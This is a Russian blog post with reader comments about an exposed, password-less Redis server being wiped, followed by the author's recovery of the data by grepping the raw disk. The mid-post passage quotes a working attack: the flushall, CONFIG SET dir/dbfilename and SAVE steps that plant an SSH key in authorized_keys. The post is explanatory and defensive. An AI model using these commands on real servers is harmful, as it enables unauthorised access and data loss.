imageОдин из разработчиков Redis опубликовал у себя в блоге статью A few things about Redis security («Немного о безопасности Redis»), в которой детально описал банальную, но, как оказалось, для многих критичную проблему хранения данных и обеспечения безопасности доступа к серверу. Для меня все было бы не так печально, если бы я сам не столкнулся с данной проблемой и, как следствие, не потерял данные. Под катом мы попытаемся разобраться почему это произошло и на моем примере исправить случившуюся ситуацию.

Наверняка, читатель знает или хотя бы слышал про Redis, но на всякий случай напомню, что это высокопроизводительное key-value хранилище (подброней можно почитать на wiki или тут). Начнем с того, что в документации говорится, что Redis должен быть доступен только внутри доверенного окружения, что с одной стороны правильно, так как обеспечением безопасности должен заниматься администратор системы, но с другой стороны об этом больше нигде предупреждеается.

Redis предоставляет некоторый базовый функционал для безопасной передачи данных внутри незащищенного соеденения. Но мы не будем останавливаться на этом подробно, добавлю только, что, как бы примитивно это не звучало, безопасностью нельзя пренебрегать и нужно хотя бы использовать пароль. На это в документации также есть предупреждение:

Существует возможность контролировать настройки сервера используя CONFIG-команды для изменения рабочей дериктории или имени dump-файла. Это позволит клиетнам записывать RDB Redis файлы в любую папку, что является проблемой безопасности.

Kто-то воспользовался вышеупомянтой статьей и с помощью нехитрых манипуляций смог навредить достаточно большому количеству людей (это видно из комментариев к статье).

Атака происходит следующим образом (пример взят из статьи):

Прежде всего, нужно найти незащищенный Redis-сервер. Генерируем новый RSA-ключ. Создаем файл с пустыми строками вначале и вконце нашего RSA ключа:

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

Удаляем все ключи и записываем данные из файла:

$ redis-cli -h 192.168.1.11 flushall
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit

Теперь осталось записать данные из харнилища в файл authorized_keys

$ redis-cli -h 192.168.1.11
> config set dir /Users/antirez/.ssh/
OK
> config get dir
1) "dir"
2) "/Users/antirez/.ssh"
> config set dbfilename "authorized_keys"
OK
> save
OK

Готово. Если все прошло успешно, то мы стерли все данные из хранилища и теперь можем подключиться по ssh. Не очень приятно, правда? На самом деле это не конец и данные можно восстановить, даже если нет бекапа. Как раз об этом моя небольшая история ниже.

Наш проект реализован на Django и использует django-constance. Redis распологается на отдельном сервере, для того что бы несколько других проектов могли его использовать.

Одним прекрасным вечером мне начали приходить сообщения о странных ошибках. Когда выяснилось, что данных в Redis-хранилище нет, началсь небольшая паника.

Оказалось, что django-constance не найдя данных, заполнил все со стандартынми значениями, но этот факт еще больше запутывал происходящую ситуацию. Постепенно я начал осознавать, что бекапа ни у кого нет и на восстановление данных уйдет порядка двух дней, что никак не могло порадовать. Позже выяснилось, что после ухода предыдущего разработчика, у меня не осталось доступа к серверу, на котором расположен Redis, поэтому понять, в чем проблема сразу не получалась. Ситуация неприятная, но сдаваться было рано.

На этом проблемы не заканчивались и моему удивлению не было предела, когда я смог подключится к хранилищу без пароля, чем, судя по всему, и воспользовался злоумышленник. Внимание привлек странный ключ “crackit” и после недолгого гугления стало понятно, что кто-то воспользовался статьей указанной в самом начале.

Заодно решив проверить этот способ и получить доступ к серверу, я попробовал провести атаку, но права доступа на папку .ssh запрещали запись для пользователя redis(под которым сервер работает по умолчанию). Так я хотя бы удостоверерлся, что злоумышленик не получил полного доступа к серверу.

Восстановление

Перед тем как предпринять какие-либо действия, я сделал полный бекап жесткого диска, для того что бы оставить данные в первоначальном виде. Сразу пришла идея востановить удаленные данные с помощью какого-нибудь софта, но попробовав пару утилит, которые не принесли никаких результатов, я начал осозновать всю трагичность ситуации. По московскому времени уже было 4 утра, а на другой стороне планеты, где запущен проект, была уже середина рабочего дня и все ждали, когда проект заработает. Почти смирившись с тем, что данные восстановить не получится, я решил еще раз пройтись по возможным вариантам. И тут мне в голову пришла мысль, показавшаяся мне сначала довольно странной. А что если пройтись поиском по /dev/sda1?

Теория
В операционных системах Linux все устройства представляют собой файлы, расположенные в каталоге /dev/. Таким образом мы можем читать или передавать данные на устройство, работая с ним как с обычным файлом.

Соответственно данные, если они еще не затерлись, должны были остаться там. Вопрос как их найти тоже решился довольно быстро. Открыв файл Redis базы в текстовом редакторе, я увидел, что ключи и значения хранятся там в чистом виде. Все интересующие меня ключи начинались с “constance:” эту особенность и было решено использовать для поиска.

Не ожидав что это может сработать я выполнил команду grep -a ‘constance:’ /dev/sda1 и начал ждать. Мое удивление было велико, когда на экране стали появляться первые записи. Собрав и немного обработав результаты, я стал их анализировать. Хорошо, что за день до случившегося один из ключей был исправлен и был уникальным, а по нему уже было нетрудно найти и остальные валидные данные. Спустя 40 минут было восстановлено 135 ключей из 147. Осталось только не забыть добавить пароль в настройки Redis-сервера.

Комментарии (15)


  1. AlexeiZhuravlev
    13.11.2015 13:45
    +3

    Спустя 40 минут было восстановлено 135 ключей из 147


    Может быть вы мне поясните, не понятно вот что — Вы базу Редис гоняете рад пары сотен ключей?


    1. enum
      13.11.2015 14:12

      Просто потому-что удобно. Django-Constance позволяет проставлять стандартные значения для переменных, в них мы храним, например данные от аккаунтов для разных сервисов, которые используются в проекте. Для разработчиков это удобно тем, что все будет работать сразу и правильно, а на продакшене ставим другие значения. А также на сандбокс и продакшен сервера у нас один редис-сервер.


      1. AlexeiZhuravlev
        13.11.2015 14:24
        +7

        Ваш подход — это как слоном гвозди забивать. То что он работает сомнений нет, но зачем ради этого целую базу поднимать?

        Учитывая ваш подход

        Позже выяснилось, что после ухода предыдущего разработчика, у меня не осталось доступа к серверу, на котором расположен Redis
        и то, что у вас несколько сотен ключей — не проще было сохранять данные на диск каждые n-секунд?

        Весь ваш «незащищенный Redis» — это просто использование неподходящего инструмента и полная безответственность. Когда никто и не за что не ответчает и как-то все работает на авось.


        1. enum
          13.11.2015 14:34
          -4

          В чем-то вы правы, но если бы не пострадало от этого много людей я бы не писал статьи. Может быть все таки дело не в безответственности, а в том что разработчики должны учитывать такие нюансы? Одно warning-сообщение в логе, например не помещало бы.


          1. AlexeiZhuravlev
            13.11.2015 14:39
            +2

            Так может быть зарплату платить не вам, а warning-сообщению?


      1. AlexeiZhuravlev
        13.11.2015 14:32
        +1

        мы храним, например данные от аккаунтов для разных сервисов, которые используются в проекте

        Вы храните пароли от соц сетей в общедоступной базе редис.

        Дарю идею для новой статьи — Незащищенный Facebook, или кто виноват?


  1. Suvitruf
    13.11.2015 14:14
    +13

    Я не совсем понимаю, почему «незащищённый Redis», если по факту — «незащищённый сервер».

    но с другой стороны об этом больше нигде предупреждеается
    По-моему, если в самом начале доки о безопасности говорится, что «Redis is designed to be accessed by trusted clients inside trusted environments», то к этому надо прислушаться.

    Не надо подобные сервисы высовывать наружу.


    1. enum
      13.11.2015 14:18
      -4

      Я с вами согласен, но это трудно заметить когда это уже сделано.


    1. dadon
      13.11.2015 16:00
      -3

      Я разработчик, а не сисадмин и тоже попался на эту уязвимость redis.
      Никого обвинять не собираюсь, но как-то привык, что популярные open source проекты, из коробки лишены таких «детских» проблем.

      Для разработчиков redis не составило бы никакого труда, слушать только локалхост в настройках по умолчанию. Но они решили добавить строчку в документацию.


      1. grossws
        13.11.2015 16:05
        +4

        Для разработчиков redis не составило бы никакого труда, слушать только локалхост в настройках по умолчанию. Но они решили добавить строчку в документацию.
        Это не к разработчику, а к мейтейнеру дистрибутива (конфиг по умолчанию) и админу (firewall должен закрывать все порты, кроме white list'а).


      1. nagibat0r
        13.11.2015 19:30
        +3

        в Debian 8 поставил Redis, «искаропки» слушает только локалхост.


  1. Ovoshlook
    13.11.2015 15:41
    -8

    Смешно, но данная дыра в безопасности обходится другой «дырой» — отключением авторизации ssh по ключу и включением авторизации по паролю))


    1. funca
      13.11.2015 16:03
      -1

      Дыра в том, что незапароленный Redis открыт наружу. Внезапно, это дает возможность кому угодно в таком redis менять ключи, или удалить их все командой flushall.

      Сценарий с записью в authorized_keys это отдельная маловероятная история. Для этого надо запускать открытый наружу redis под нормальным пользователем, у которого есть доступ по ssh. В идеале, сразу «исподрута». ;)


  1. Railsmax
    13.11.2015 23:47
    +1

    Ну это все круто и важно но когда редис используется только для кэша(а я думаю 80% именно так и пользуют) — пожалуй нет ничего криминального в том что потрут базу. Конечно не приятно и конечно не хотелось бы, но никто не умрет от этого. Да и собственно если у вас открытый сервер со свободным входом откуда угодно — чего на редис пенять?


  1. lexore
    14.11.2015 13:17
    -3

    Как один из слоев обороны, redis поддерживает переименование команд.
    Например, в конфиге можно указать:
    rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52
    Кстати, это пример из документации.
    Можно переименовать команды config, flushall, save и т.д.
    Но это не панацея, а одна из частей комплексного подхода к безопасности.
    Так же это увеличит защиту от кота на клавиатуре случайных ошибок.